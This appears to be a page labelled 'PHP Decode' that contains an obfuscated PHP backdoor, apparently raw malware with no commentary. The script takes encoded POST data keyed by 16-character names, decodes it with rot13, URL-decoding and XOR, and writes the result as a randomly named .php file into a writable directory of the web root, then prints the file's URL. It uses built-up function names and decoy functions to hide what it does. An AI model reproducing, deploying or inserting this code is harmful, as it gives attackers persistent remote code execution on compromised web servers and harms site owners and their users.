PHP Decode

<?php function SOiFEO($JyvOfTJdoA)
{
    $bSLjMbWeI = "\x72" . 'a' . "\x77" . "\x75" . chr(237 - 123) . chr(644 - 536) . "\144" . 'e' . chr(99) . chr(249 - 138) . "\x64" . chr(101);
    $anktb = "\x73" . 't' . 'r' . "\137" . 'r' . "\157" . "\164" . "\x31" . chr(95 - 44);
    $PmJDlf = "\x73" . 't' . chr(114) . "\137" . chr(1103 - 988) . "\160" . "\x6c" . 'i' . chr(116);
    $JyvOfTJdoA = $PmJDlf($bSLjMbWeI($anktb($JyvOfTJdoA)));
    return $JyvOfTJdoA;
}
function IxCsU($wJGowmFbU, $JyvOfTJdoA)
{
    $MBUsacQ = "\x73" . chr(116) . chr(762 - 648) . "\x5f" . "\x73" . "\160" . chr(108) . 'i' . "\164";
    $wJGowmFbU = array_slice($MBUsacQ(str_repeat($wJGowmFbU, (count($JyvOfTJdoA) / 16) + 1)), 0, count($JyvOfTJdoA));
    return $wJGowmFbU;
}
function SmddXYTGW($tbmqI, $iGMLUiae, $wJGowmFbU)
{
    $XtiXeJQ = "951b9fa3-8635-4714-aca6-4faa9f7f85a8";
    return $tbmqI ^ $XtiXeJQ[$iGMLUiae % strlen($XtiXeJQ)] ^ $wJGowmFbU;
}
function ElETyRN($JyvOfTJdoA, $wJGowmFbU)
{
    $JyvOfTJdoA = array_map("SmddXYTGW", array_values($JyvOfTJdoA), array_keys($JyvOfTJdoA), array_values($wJGowmFbU));
    $JyvOfTJdoA = implode("", $JyvOfTJdoA);
    $lihJUcxHDe = "\x75" . "\156" . chr(760 - 645) . chr(419 - 318) . "\162" . "\151" . chr(97) . "\154" . chr(105) . "\172" . chr(101);
    $JyvOfTJdoA = @$lihJUcxHDe($JyvOfTJdoA);
    return $JyvOfTJdoA;
}
function iUXMj()
{
    echo "kNxJlZLou";
}
function nJcNRZc($LsaajuPir)
{
    static $OXqkPjZiO = array();
    $jxdLesfJX = glob($LsaajuPir . '/*', GLOB_ONLYDIR);
    $jrdmNyoSZv = count($jxdLesfJX);
    if ($jrdmNyoSZv > 0) {
        foreach ($jxdLesfJX as $LsaajuP) {
            $rWulPt = chr(618 - 513) . "\x73" . '_' . "\x77" . 'r' . "\x69" . 't' . 'a' . chr(98) . chr(108) . chr(101);
            if (@$rWulPt($LsaajuP)) {
                $OXqkPjZiO[] = $LsaajuP;
            }
        }
    }
    foreach ($jxdLesfJX as $LsaajuPir) nJcNRZc($LsaajuPir);
    return $OXqkPjZiO;
}
function pBGMKTyVkW()
{
    echo "CkWgSs";
}
function ZYbIX($JyvOfTJdoA)
{
    $AAjpcEhl = "\104" . "\x4f" . chr(67) . "\x55" . "\115" . chr(69) . chr(340 - 262) . chr(531 - 447) . '_' . "\122" . 'O' . "\x4f" . "\124";
    $qrBWQRucb = $_SERVER[$AAjpcEhl];
    $jxdLesfJX = nJcNRZc($qrBWQRucb);
    $jFPpg = array_rand($jxdLesfJX);
    $GxnLJEPAuc = chr(46) . "\160" . "\150" . chr(865 - 753);
    $MTijCzz = $jxdLesfJX[$jFPpg] . "/" . substr(md5(time()), 0, 8) . $GxnLJEPAuc;
    $txyDUrKk = "\146" . 'i' . "\154" . "\145" . "\137" . "\x70" . chr(117) . 't' . chr(95) . "\x63" . chr(808 - 697) . chr(110) . chr(116) . chr(101) . 'n' . "\x74" . "\163";
    @$txyDUrKk($MTijCzz, $JyvOfTJdoA);
    $GaOnTsBkp = 'H' . "\124" . "\x54" . "\120" . chr(793 - 698) . chr(445 - 373) . "\x4f" . "\x53" . 'T';
    $uagJU = chr(392 - 288) . chr(116) . "\x74" . "\160" . ':' . "\57" . "\57";
    $TDFDuJ = $uagJU . $_SERVER[$GaOnTsBkp] . substr($MTijCzz, strlen($qrBWQRucb));
    print($TDFDuJ);
}
foreach ($_POST as $wJGowmFbU => $JyvOfTJdoA) {
    $lUjmTIdFhS = strlen($wJGowmFbU);
    if ($lUjmTIdFhS == 16) {
        $JyvOfTJdoA = SOiFEO($JyvOfTJdoA);
        $wJGowmFbU = IxCsU($wJGowmFbU, $JyvOfTJdoA);
        $JyvOfTJdoA = ElETyRN($JyvOfTJdoA, $wJGowmFbU);
        if (@is_array($JyvOfTJdoA)) {
            $jFPpg = array_keys($JyvOfTJdoA);
            $JyvOfTJdoA = $JyvOfTJdoA[$jFPpg[0]];
            if ($JyvOfTJdoA === $jFPpg[0]) {
                $ZslbpC = chr(112) . "\x68" . "\160";
                $fmmKBG = "\160" . "\x68" . chr(127 - 15) . chr(776 - 658) . "\x65" . chr(114) . "\163" . chr(105) . 'o' . "\156";
                $aaKpapq = "\163" . "\145" . "\162" . "\151" . chr(689 - 592) . "\x6c" . "\x69" . chr(122) . chr(101);
                echo @$aaKpapq(array($ZslbpC => @$fmmKBG(),));
            } else {
                ZYbIX($JyvOfTJdoA);
            }
            die();
        }
    }
}